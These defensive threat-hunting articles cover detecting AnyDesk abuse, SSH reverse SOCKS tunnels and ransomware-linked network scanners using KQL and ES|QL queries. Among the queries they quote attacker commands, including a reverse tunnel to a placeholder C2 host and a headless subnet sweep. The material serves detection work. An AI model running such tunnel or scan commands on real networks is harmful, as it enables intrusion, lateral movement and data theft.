• Passwd or Token: unattended access. Someone set a password, or stored one, so they could come back without asking.

• User: a human clicked Accept.

That field decides your remediation: kill a password and a service, or retrain a user and hunt the lure. Same tool, same operator, two entirely different incidents. In my lab the same operator ID hit both hosts, and the two traces tell the two stories in one line each. The portable host: Incoming 2026-06-26, 11:19 User, a person clicked Accept that morning. The service host: Passwd at 15:41, then Token at 15:42, the operator walking in and coming back with nobody at the keyboard.

What it does not decide on its own is legitimacy. Your help desk shows User when they call a user, and a sanctioned rollout shows Passwd. That read is the hunt you already ran:

• A renamed binary still carrying AnyDesk’s PE metadata?

• One or two hosts instead of the fleet?

• No change window, no deployment agent as the parent?

Three yeses next to Passwd is not your help desk. Read both together before you write a word of the report.

ad.trace: who connected

The network telemetry only ever showed you the AnyDesk relay, never the operator, so the SIEM looks like a dead end. It is not. AnyDesk writes the operator’s source IP to disk itself. Open the trace file, ad.trace (portable) or ad_svc.trace (service), and search for Logged in from:

The Logged in from line, straight out of ad_svc.trace on the victim host.

This is the reliable source: the relay reports the operator’s egress IP on every login, even when the session never leaves the relay. That IP is the operator’s infrastructure or egress, a VPS, VPN, or NAT. It is a pivot and block IOC, not attribution to a person.

There is a second, opportunistic way to the same IP that does not need the file. AnyDesk prefers a direct peer-to-peer link (TCP 7070) and tries to punch straight to the operator’s public IP before falling back to the relay. When your firewall blocks that punch, the attempt logs as ConnectionFailed, to the operator’s real IP, in your EDR. Hunt the failures, not the successes.

The caveat: a careful operator unchecks “Allow direct connections” and forces relay-only, and the IP never appears. Strict egress can skip the direct attempt entirely. The trace file is the source you rely on; this is the bonus.

The ConnectionFailed hunt: anydesk.exe 2 attempts on ports 7070/51703, invoice_viewer.exe 4 attempts on 7070/64004/49439, all to the operator’s public IP.

file_transfer_trace.txt: what left

AnyDesk has a built-in file manager, and it is a clean exfil channel: no web proxy hit, no email DLP trigger. When a transfer happens, it logs every one to file_transfer_trace.txt, in the same config directory, in plaintext.

Filename, size, direction, timestamps. Put it against the connection trace and the timeline writes itself: Passwd login at 15:41, and by 15:46 a 231 MiB documents.zip had left the host. Five minutes from unattended access to completed exfil, and the tool documented every step of it. No packet capture needed to prove data walked out.

You have AnyDesk on one host, carrying its own fingerprints, set up with a piped password (Passwd in the trace), calling an AnyDesk relay, with the operator’s egress IP on disk and a plaintext receipt for the 231 MiB they took. That is not your help desk. That is a scoped incident with a pivot IOC and an exfil list, collected before the reimage.

Run this before your next shift

If your enterprise does not run AnyDesk and you see AnyDesk, that alone is your investigation, so start it. If it does run AnyDesk, the same evidence still sorts legit from planted.

None of this needs a new product:

• Four MDE queries - identity, rarity, behavior, destination.

• Seven SigmaHQ rules you already have.

• Three files on the host - connection_trace.txt, ad.trace, file_transfer_trace.txt.

Run the queries before your next shift. If they come back quiet, you have a clean baseline. If they do not, you know exactly what to pull, and in what order, before someone reimages the evidence.

I have put the full AnyDesk hunt pack in one place, every KQL query here and the SigmaHQ rules I watched fire, so you can lift it in one go: github.com/Securityinbits/defender-hunt-queries.

That Medium alert will still read “Uncommon remote access software,” and the next analyst to see it will still be tempted to think probably IT and close it. The difference is what you do in the ten minutes after. Run the four queries. Read the approval field in connection_trace.txt. You will know whether it was the help desk or the operator before the box gets reimaged.

P.S. AnyDesk is the tool most ransomware crews reach for, but not the only one. ScreenConnect and Atera get the same treatment, emulated, validated, and turned into queries, in the next issues.

Leave a comment

You’ve probably closed that alert before. A green ssh.exe, a -R you read as port forwarding, “admin activity” in the notes, and you moved on, because the process event gave you nothing to argue with. The process event always backs you up. That’s the problem.

Here is what it backed up. In a July 2025 intrusion documented by The DFIR Report, Akira’s operators turned a compromised host into a SOCKS proxy with almost exactly this command, ssh root@<host> -R *:10400. They ran a renamed scanner through it, mapped the internal estate, dumped credentials, stole data, and deployed ransomware in under 44 hours. None of it crossed the wire in plaintext. All of it rode inside an encrypted channel your EDR records as a single process: ssh.exe. Whatever the attacker ran next, the command line still said ssh.exe and nothing else.

So escalating the alert doesn’t help. You pull the process event and you still can’t prove the tunnel is a pivot. NetExec, nmap, lateral movement, all of it executes inside the tunnel, out of reach of the command line that’s supposed to tell you what ran.

The tunnel is opaque, but it isn’t silent. Whatever moves through it leaves a shape: how many destinations, how many ports, how many connections failed. That shape is usually enough to tell a forward from a sweep, and your EDR is already logging every field you need to read it.

This article is about how far that shape gets you, the exact point it stops, and what you fall back on when it does.

1. Why SSH -R Gets Missed

Lab topology. The compromised host (DESKTOP-HR) opens a reverse SSH tunnel to the external C2, which exposes a SOCKS proxy on port 10400. The attacker drives internal connections back through the tunnel, and those connections originate from DESKTOP-HR. That origin is what puts them under ssh.exe in endpoint telemetry.

SSH has three forwarding modes, and the gap between them is the whole story:

• -L is a local port forward with a fixed destination.

• -R is a remote port forward. It also takes a fixed destination, but if you leave the destination off, it becomes a SOCKS proxy.

• -D is a local dynamic SOCKS proxy.

The dangerous case is -R with no destination after the port. That is not the port forwarding most people picture. Since OpenSSH 7.6, giving -R a bind and a port but no target tells SSH to open that remote port as a SOCKS 4/5 proxy. The name for this is reverse dynamic forwarding. A remote client speaks SOCKS to the port, asks for host:port, and SSH dials that connection for it. The dial happens from the compromised host.

Your whole detection rests on that one fact. The outbound connections come from the machine running ssh.exe, not from the C2 box. SOCKS is a generic relay underneath, indifferent to whether the bytes are HTTP, SMB, or RDP. It connects and it pipes.

Take the Akira command apart, ssh root@<host> -R *:10400:

• * binds the listener to every interface on the C2 host instead of loopback only. The server’s GatewayPorts setting decides whether that bind is even permitted.

• 10400 is the port the SOCKS proxy listens on, over on the C2.

The same -R SOCKS mechanism shows up in benign work and in attacks. A destination-less -R is not a verdict by itself. An operator can stand up this exact proxy for perfectly good reasons, and plenty do. If you walked in believing “destination-less means malicious,” Section 4 is where that breaks.

The proxy is live on the C2. So what moves through it, and why is it invisible to you?

2. This Isn’t Just Akira

One credibility check before the detection work: this is a recurring pattern, not an Akira habit.

SSH and SOCKS tunneling for pivoting and C2 turns up across the last three years of intrusion reporting, in Akira, in BlackCat/ALPHV, and in RansomHub activity spanning 2023 to 2025. CISA has named Akira’s use of tunneling utilities for C2 that slips past the perimeter. The precise ssh -R *:10400 reverse-dynamic-forwarding command only appears in The DFIR Report’s writeup; the rest of the corpus documents the broader behavior, including SSH tunneling, SOCKS proxying, and utilities such as Ngrok, Chisel, and Ligolo-ng.

Two MITRE ATT&CK techniques describe what this -R setup does. The encrypted SSH channel that carries the traffic is T1572 (Protocol Tunneling). The SOCKS proxy relaying internal connections on the attacker’s behalf is T1090 (Proxy), and because the relay runs on an attacker-controlled host outside the victim network, it falls specifically under T1090.002 (External Proxy). The detection here keys on the behavior rather than on one command string, which is why it carries past any single group.

3. From Sigma Logic to MDE Hunting: the blind spot

Start from the published Sigma rule, Port Forwarding Activity Via SSH.EXE. It checks that the image ends in ssh.exe and the command line contains -R. It fires correctly, and it ships with a false-positive note about legitimate admin port forwarding, because it matches on the string rather than the behavior. It has no way to tell an admin apart from an attacker.

Convert it to a process query and run it. Process creation gives you intent: ssh.exe launched with -R.

KQL (MDE, DeviceProcessEvents)

DeviceProcessEvents
| where Timestamp > ago(1h)
| where FileName =~ "ssh.exe"
| where ProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc

Subscribe now

Notice the filter is a regex (\s-\w*R) rather than contains "-R". That matters because attackers tend to bundle the flag into a no-argument cluster like -NR, -fNR, or -fNTR to background the tunnel, and the regex still catches the -R inside those. It is capital-R only and case-sensitive on purpose.

ES|QL (Elastic, Sysmon EID 1 / ECS)

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 1 hours
| WHERE event.code == "1"
| WHERE process.name == "ssh.exe"
| WHERE process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| KEEP @timestamp, host.name, process.name, process.command_line,
       process.parent.name, process.parent.command_line,
       user.name, winlog.event_data.IntegrityLevel
| SORT @timestamp ASC
| LIMIT 1000

Most writeups stop right here: ssh.exe plus -R, suspicious, go monitor for it.

The trouble is that the process event proves presence, not pivot. The initiating process reads ssh.exe for every move the attacker makes. NetExec, nmap, curl, lateral movement, none of them surface in a command line, because they run inside the encrypted tunnel.

If the process can’t prove it, the network has to.

4. Proving the Pivot in Network Telemetry

You don’t have to see the tool. You read what it leaves behind.

While ssh.exe is acting as the SOCKS client, each outbound connection it opens for the proxy lands in network telemetry, tagged with ssh.exe as the initiating process and the compromised host as the local IP. The tunneled tool’s command line is still nowhere in sight, and that absence is exactly the problem you started with. But the traffic’s shape does show up, and the shape carries enough.

KQL (MDE, DeviceNetworkEvents)

DeviceNetworkEvents
| where Timestamp > ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
    LocalIP, LocalPort, Protocol,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc

ES|QL (Elastic, Sysmon EID 3)

Elastic puts a structural wrinkle in front of you here, and it is worth understanding rather than fighting. Sysmon spreads the evidence over two event types. EID 1 (process start) holds the -R command line. EID 3 (network connection) holds the destinations but carries no command line at all. On its own, neither event proves the pivot. The fix is to filter EID 3 by image and stitch it back to the start event on process.entity_id, the Sysmon ProcessGuid.

// EID 3 has no CommandLine field — filter by image only, pivot via process.entity_id
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 1 hour
| WHERE event.code == "3"
  AND process.name == "ssh.exe"
| KEEP @timestamp, host.name, destination.ip, destination.port, destination.domain,
       source.ip, source.port, network.transport,
       process.name, process.entity_id, user.name
| SORT @timestamp ASC
| LIMIT 1000

The aggregation: the cardinality and churn tell

Now collapse the session into one row and read its shape. This is the query that pulls benign apart from malicious.

KQL (MDE, DeviceNetworkEvents)

DeviceNetworkEvents
| where Timestamp > ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R"
| summarize
    DistinctRemoteIPs = dcount(RemoteIP),
    DistinctRemotePorts = dcount(RemotePort),
    Successes = countif(ActionType == "ConnectionSuccess"),
    Failures = countif(ActionType == "ConnectionFailed"),
    Window = max(Timestamp) - min(Timestamp)
    by DeviceName, InitiatingProcessCommandLine

Three scenarios reproduced in the lab, all of them running ssh.exe from the same Windows host, so all three share a DeviceName and an InitiatingProcessFileName. They collapse into three rows:

Share Securityinbits

Row 1 is a fixed forward to a local service. One IP, one port, every connection succeeds. A forward has its destination baked in, so the shape is one steady line.

Row 2 is destination-less SOCKS, the same mechanism the attack uses, but here an operator points it at a handful of known services. Cardinality stays low, failures stay near zero, the pacing is human.

Row 3 is destination-less SOCKS aimed at sweeping the subnet. Many IPs, many ports, successes and failures churning together inside a tight window. The scanner never appears in the command line, but its footprint here is impossible to miss.

The part most writeups miss

Row 1 and Row 2 are both benign, yet Row 2 is destination-less SOCKS, which is the exact mechanism the attack runs on. So the real discriminator was never “SOCKS or not SOCKS.” Benign SOCKS in Row 2 and the malicious sweep in Row 3 use the identical -R proxy. What pulls them apart is shape: Row 2 stays low-cardinality with almost no failures and operator pacing, while Row 3 sprays across many IPs and ports with success and failure churning in a tight window.

​

Here is the edge that earns the caveat. If a legitimate operator deliberately enumerates through the SOCKS proxy, say an authorized internal scan, the shape will look like the attack, and telemetry on its own cannot tell them apart. That is the precise point where reading the shape runs out.

When it runs out, you fall back on authorization context. A change ticket, a recognized operator, an expected window. Not the proxy type, and not whether the target is internal, since a malicious sweep produces private RemoteIPs just the same. Cardinality and churn do most of the work; context settles the cases shape leaves tied.

ES|QL (Elastic, Sysmon EID 1 + EID 3 correlated by ProcessGuid)

// SSH reverse-tunnel detection (Sysmon EID 1 + EID 3 correlated by ProcessGuid)
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 1 hour
| WHERE event.code IN ("1", "3")
| WHERE process.name == "ssh.exe"
| EVAL is_tunnel_start = event.code == "1"
    // hyphen flag-cluster containing the -R (remote forward) flag: -R, -NR, -fNR, -fNTR ...
    AND process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| STATS tunnel_starts        = COUNT(*) WHERE is_tunnel_start,
        DistinctRemoteIPs    = COUNT_DISTINCT(destination.ip),
        DistinctRemotePorts  = COUNT_DISTINCT(destination.port),
        NetworkConnections   = COUNT(*) WHERE event.code == "3",
        InitiatingProcessCommandLine = VALUES(process.command_line),
        first_seen = MIN(@timestamp),
        last_seen  = MAX(@timestamp)
        BY DeviceName = host.name, process.entity_id
| WHERE tunnel_starts > 0
| EVAL Window = DATE_DIFF("minutes", first_seen, last_seen)
| KEEP DeviceName, InitiatingProcessCommandLine, DistinctRemoteIPs, DistinctRemotePorts,
       NetworkConnections, Window, first_seen, last_seen
| SORT DeviceName ASC
| LIMIT 1000

One platform difference is worth stating outright. MDE’s ActionType splits ConnectionSuccess from ConnectionFailed natively, so a high failure count is a direct read on a scanner banging on closed ports.

Sysmon EID 3 has no success/fail field to match it. In Elastic you get the churn signal from distinct-destination cardinality and raw connection count instead. That is why the KQL aggregation counts failures while the ES|QL aggregation counts distinct destinations and total connections. Same intent, different field model.

Two limits to keep in view before you act on any of this:

• The correlation comes back empty when the tunnel is idle. The network signal needs activity to exist, which is the whole reason the process event is your trigger and the correlation is your confirmation once activity shows up.

• IP reputation is enrichment, never proof. A workstation reverse-tunneling out to a consumer VPS ASN in another country bumps the priority. It does not settle the verdict. Cardinality, churn, and context still have to.

5. From Hunt to Triage Decision

One path you can repeat: process hit, then network correlation, then verdict, with a defined fallback.

1. One stable RemoteIP:RemotePort and no failures points to a fixed forward (Row 1) or benign SOCKS to a known service (Row 2). Verify and write it up.

2. Many distinct RemoteIPs and RemotePorts with success/failure churn inside a tight window is a sweep (Row 3). True positive. Escalate.

3. Low cardinality through a destination-less SOCKS proxy you can’t tie to a known operator is ambiguous on telemetry alone. Settle it on authorization context, the change ticket, the recognized operator, the expected window, not on shape. This is the benign-SOCKS edge: the same mechanism the attack uses, separable only by context.

Enrich the tunnel endpoint while you’re at it. A public external endpoint on an ssh.exe -R session is suspicious because legitimate admin reverse-forwarding usually terminates at a known bastion, a sanctioned jump host, or a documented vendor endpoint. Run the endpoint IP through ASN/hosting org and geolocation. Treat the result as priority, not proof, since attackers use reputable cloud and admins sometimes use a VPS legitimately.

Response checklist once you’ve confirmed a pivot:

1. Isolate the compromised host.

2. Capture the SSH session details: full command line, user, parent process, start time.

3. Identify the remote C2 IP and port, and enrich with ASN and geolocation.

4. Hunt the pattern across the fleet, ssh.exe plus -R plus the cardinality and churn shape on every endpoint.

You can’t see inside the tunnel. You never could.

But you can read what it leaks, the destination cardinality, the port spread, the connection churn, and that read carries you most of the way from “suspicious, unconfirmed” to an actual verdict. The stretch it doesn’t cover now has a name: the authorized scan that wears the attacker’s shape, which only context can separate.

That is the real skill, and it isn’t “ssh.exe -R is bad.” It’s being the analyst who can say where the telemetry stops and the change ticket takes over. That’s the analyst you hand the alert to.

It was never just a tunnel.

Run the correlation hunt against your own fleet inside the hour. The queries above paste straight into MDE and Elastic.

The next breakdown is already in the lab: RMM tooling, how attackers turn it into sanctioned-looking remote access, and the hunt that catches it. Akira doesn’t run one technique. Neither does this series. Each part is one lab-validated hunt you can run the day it drops.

Subscribe so the next one finds you before the intrusion does.

Leave a comment

References

1. From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira - The DFIR Report

2. #StopRansomware: Akira Ransomware | CISA

3. Offensive Security Guide to SSH Tunnels and Proxies - SpecterOps

4. Sigma Rule - Port Forwarding Activity Via SSH.EXE

Ransomware is a discovery problem before it’s an encryption problem. Every group has to map your network before they exfiltrate or encrypt. That mapping step is where the attack is cheap to stop, and 45+ groups do it with the same three tools.

You’ll get two things in this piece:

1. Six queries (KQL for MDE, ESQL for Elastic, across Process, Network, and File events) that hunt SoftPerfect NetScan, Advanced IP Scanner (AIPS), and Advanced Port Scanner (APS). Not Sigma ports. Consolidated multi-signal queries that survive rename, filename strip, and hash change in a single pass.

2. A second signal hiding inside the detection that most defenders miss. A hit on two of these three tools doesn’t just mean “scanner ran.” It proves an interactive attacker session. The query at the end of Section 4 turns that proof into a pivot.

Tested in lab against Sliver C2. Run it in the next hour. Triage today.

1. Why discovery tools are the cheapest win

After initial access, the attacker has to map your network before exfiltration and encryption. That mapping step uses the same handful of tools across 45+ groups. It is the chokepoint.

GitHub - BushidoUK/Ransomware-Tool-Matrix by @BushidoToken catalogs which tools each ransomware group uses. Three names dominate the discovery row.

47 unique threat groups across three tools

Why these three? Signed by recognized vendors. Portable, no installer needed. GUI-driven and visually indistinguishable from sysadmin work at a glance. Speed and familiarity beat custom tradecraft.

Most existing detection rules match on filename. Rename advanced_ip_scanner.exe to chrome_update.exe and the rule breaks. That is the gap this query closes.

2. Shared telemetry signal across all three tools

Rename the binary. Strip the filename. Hash the file differently. Three checks defeated. The vendor metadata baked into the executable at compile time? Still there.

PE (Portable Executable) is the file format every Windows binary uses. The vendor stamps their company name, product name, and description into a header section at compile time. Renaming the file does not touch the version info.

Three signals layer on top of each other.

Signal 1: Vendor metadata (survives renames)

• Famatech signs both Advanced IP Scanner and Advanced Port Scanner.

• SoftPerfect signs NetScan.

• One ProcessVersionInfoCompanyName check catches all three regardless of filename.

Lab evidence: rename advanced_ip_scanner.exe to HealthCheck.exe. Open file properties. CompanyName still reads Famatech. ProductName still reads Advanced IP Scanner. The rename is a one-second defeat against any filename rule. The metadata check holds.

Signal 2: Command-line flag pairs (survives metadata strip)

• /portable + /lng for AIPS and APS. Portable mode skips the installer and runs from any path. The /lng (language) flag almost always travels with it.

• /hide + /auto for NetScan. Headless execution that writes scan output to disk, no GUI required.

Example NetScan headless invocation seen in the wild:

n.exe /hide /auto:C:\Users\Public\scan_results.xml /range:192.168.72.1-192.168.72.254

• /hide runs NetScan with no GUI.

• /auto:<file> auto-runs the scan and writes XML output to that path.

• /range: defines the subnet sweep range

Signal 3: Network sweep scan (survives everything)

One host hitting 50+ private IPs across 3+ ports inside 5 minutes is not normal user behavior. This signal catches the activity even if the binary is fully renamed and the metadata is stripped. Tool-agnostic.

3. The combined hunt query

These are not one-to-one Sigma ports. Three tools. One query for each event type.

• Vendor metadata catches the renames.

• Command-line flags catch the headless runs.

• Network thresholds catch the sweep shape.

• Folder paths catch the install artifacts.

Two SIEMs, copy-paste ready.

KQL (Microsoft Defender for Endpoint)

Process events

Catches: any of the three tools by vendor, product, description, or flag pair.

Tune: time window (default 30d). Otherwise leave alone.

let CompanyKeywords = dynamic(["Famatech", "SoftPerfect"]);
let ProductKeywords = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Network Scanner"]);
let DescKeywords    = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Application for scanning networks"]);
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessVersionInfoCompanyName has_any (CompanyKeywords)
    or ProcessVersionInfoProductName has_any (ProductKeywords)
    or ProcessVersionInfoFileDescription has_any (DescKeywords)
    or ProcessCommandLine has_all ("/portable", "/lng")
    or ProcessCommandLine has_all ("/hide", "/auto")
| project
    Timestamp, DeviceName, AccountName, FileName,
    ProcessCommandLine, ProcessVersionInfoCompanyName,
    ProcessVersionInfoProductName, ProcessVersionInfoFileDescription,
    SHA256, InitiatingProcessFileName,
    InitiatingProcessCommandLine, InitiatingProcessParentFileName

Network events

Catches: any process making rapid connections to many private IPs across multiple ports. Tool-agnostic, so it survives binary renames AND metadata stripping.

Tune: ipThreshold and portThreshold for your environment. Default 50 IPs / 3 ports per 5-minute bucket.

let startTime = datetime(2026-04-02T03:00:00);
let endTime   = datetime(2026-05-06T10:00:00);
let ipThreshold   = 50;
let portThreshold = 3;
let bucket = 5m;
DeviceNetworkEvents
| where Timestamp between (startTime .. endTime)
| where RemoteIPType == "Private"
| where ActionType startswith "Connection"
| summarize
    DistinctIPs   = dcount(RemoteIP),
    DistinctPorts = dcount(RemotePort),
    SampleIPs     = make_set(RemoteIP, 10),
    SamplePorts   = make_set(RemotePort, 10),
    FirstSeen     = min(Timestamp),
    LastSeen      = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, bin(Timestamp, bucket)
| where DistinctIPs >= ipThreshold and DistinctPorts >= portThreshold
| sort by DistinctIPs desc

File events

Catches: AIPS and APS install artifacts in their default folders. NetScan is already covered by the process query.

Tune: folder path patterns if attackers stage to non-default locations.

DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath has_any (@"\Advanced IP Scanner 2", @"\Advanced Port Scanner 2")
| summarize FilesDropped = make_set(FileName, 20), FileCount = dcount(FileName), FirstDrop = min(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName,
       InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by FirstDrop asc

ESQL (Elastic)

Same logic, Elastic field names.

Process events

Catches: same surface as the KQL process query.

Tune: time window.

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp > NOW() - 30 days
  AND event.code == "1"
| EVAL cmd_l = TO_LOWER(process.command_line)
| WHERE process.pe.company     RLIKE ".*(Famatech|SoftPerfect).*"
     OR process.pe.product     RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Network Scanner).*"
     OR process.pe.description RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Application for scanning networks).*"
     OR (cmd_l LIKE "*/portable*" AND cmd_l LIKE "*/lng*")
     OR (cmd_l LIKE "*/hide*"     AND cmd_l LIKE "*/auto*")
| KEEP @timestamp, host.name, user.name, process.name, process.command_line,
       process.pe.company, process.pe.product, process.pe.description,
       process.hash.sha256, process.parent.name, process.parent.command_line
| SORT @timestamp ASC
| LIMIT 1000

Network events

Catches: sweep behavior across all three tools via Sysmon event 3.

Tune: thresholds (default 3 IPs / 2 ports per 5-min bucket for Sysmon).

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp >= "2026-04-02T03:00:00Z" AND @timestamp <= "2026-05-06T10:00:00Z"
    AND event.code == "3"
    AND process.name IS NOT NULL
    AND destination.ip IS NOT NULL
    AND CIDR_MATCH(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| STATS DistinctIPs   = COUNT_DISTINCT(destination.ip),
        DistinctPorts = COUNT_DISTINCT(destination.port),
        TotalConns    = COUNT(*),
        SampleIPs     = TOP(destination.ip, 10, "asc"),
        SamplePorts   = TOP(destination.port, 10, "asc"),
        FirstSeen     = MIN(@timestamp),
        LastSeen      = MAX(@timestamp)
    BY host.name,
       process.executable,
       time_bucket = BUCKET(@timestamp, 5 minutes)
| WHERE DistinctIPs >= 3 AND DistinctPorts >= 2
| SORT DistinctIPs DESC

File events

Catches: AIPS and APS install footprints via Sysmon event 11.

Tune: path patterns.

FROM logs-windows.sysmon_operational-default
| WHERE @timestamp >= "2026-04-02T03:00:00Z" AND @timestamp <= "2026-05-06T10:00:00Z"
    AND event.code == "11" AND file.path IS NOT NULL
| EVAL path_lc = TO_LOWER(file.path)
| WHERE path_lc LIKE "*advanced ip scanner 2*" OR path_lc LIKE "*advanced port scanner 2*"
| EVAL Tool = CASE(
    path_lc LIKE "*advanced ip scanner 2*","Advanced IP Scanner", "Advanced Port Scanner")
| STATS FilesDropped = TOP(file.name, 20, "asc"),
        FileCount    = COUNT_DISTINCT(file.name),
        FirstDrop    = MIN(@timestamp),
        LastDrop     = MAX(@timestamp)
    BY host.name, Tool, user.name, process.executable
| SORT FirstDrop ASC
| LIMIT 500

All of the above queries are also uploaded to GitHub.

Cross-reference: Sigma rules

Useful for cross-checking output, or porting to Splunk or CrowdStrike:

• PUA: SoftPerfect Netscan Execution

• PUA: Advanced IP Scanner Execution

• Advanced IP Scanner: File Event

• PUA: Advanced Port Scanner Execution

The queries are the first payload. The second is what the queries actually prove when they fire.

4. The signal hiding inside the detection

NetScan can run headless. Advanced IP Scanner and Advanced Port Scanner cannot. They are GUI-only.

A hit on AIPS or APS is not just a discovery alert. It is an RDP, RMM, or VDI session alert by implication. GUI tools need a desktop session. No desktop session, no GUI scan. If a GUI scanner ran on a host with no admin session active at that time, an attacker had interactive access.

Rule out admin use first. Then pivot the hunt to the same host, ±2 hours from the scanner hit:

let HitHost = "SERVER01";
let HitTime = datetime(2026-05-10T14:00:00);
DeviceProcessEvents
| where DeviceName =~ HitHost
| where Timestamp between (HitTime - 2h .. HitTime + 2h)
| where FileName in~ ("mstsc.exe", "AnyDesk.exe", "ScreenConnect.ClientService.exe", "AteraAgent.exe", "Splashtop.exe")
| project Timestamp, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName

5. Run it today

Four steps.

1. Run the process query over the last 30 days.

2. Filter out IT admin accounts and known scanning hosts (vuln scanner, asset management agent). Allowlist by hostname or account, not by tool name. Legitimate IT teams use these tools too.

3. For each remaining hit, check parent process and account context. If parent is cmd.exe, powershell.exe, bitsadmin.exe, or anything launched from C:\Users\Public\ or Temp dir, escalate immediately.

4. For AIPS or APS hits, run the Section 4 pivot. If RDP or RMM activity surfaces in the ±2h window tied to the scanner hit, scope the incident and start IR containment.

You just got a rear-view of pre-ransomware activity in your environment. Not theoretical. Tested in a lab against Sliver C2 and ready to paste into your SIEM today.

This catches three tools, not all pre-ransomware activity. RMM is the next layer, and it sits right next to discovery in every kill chain. Same format coming.

If you run the queries and find something (or find nothing), tell me on X. Reposts and likes help the next defender find this too.

Ransomware groups don’t innovate at the discovery phase. That’s the gift. Your environment doesn’t have to be number 4,114.

References

Ransomware Statistics — 2026

GitHub - BushidoUK/Ransomware-Tool-Matrix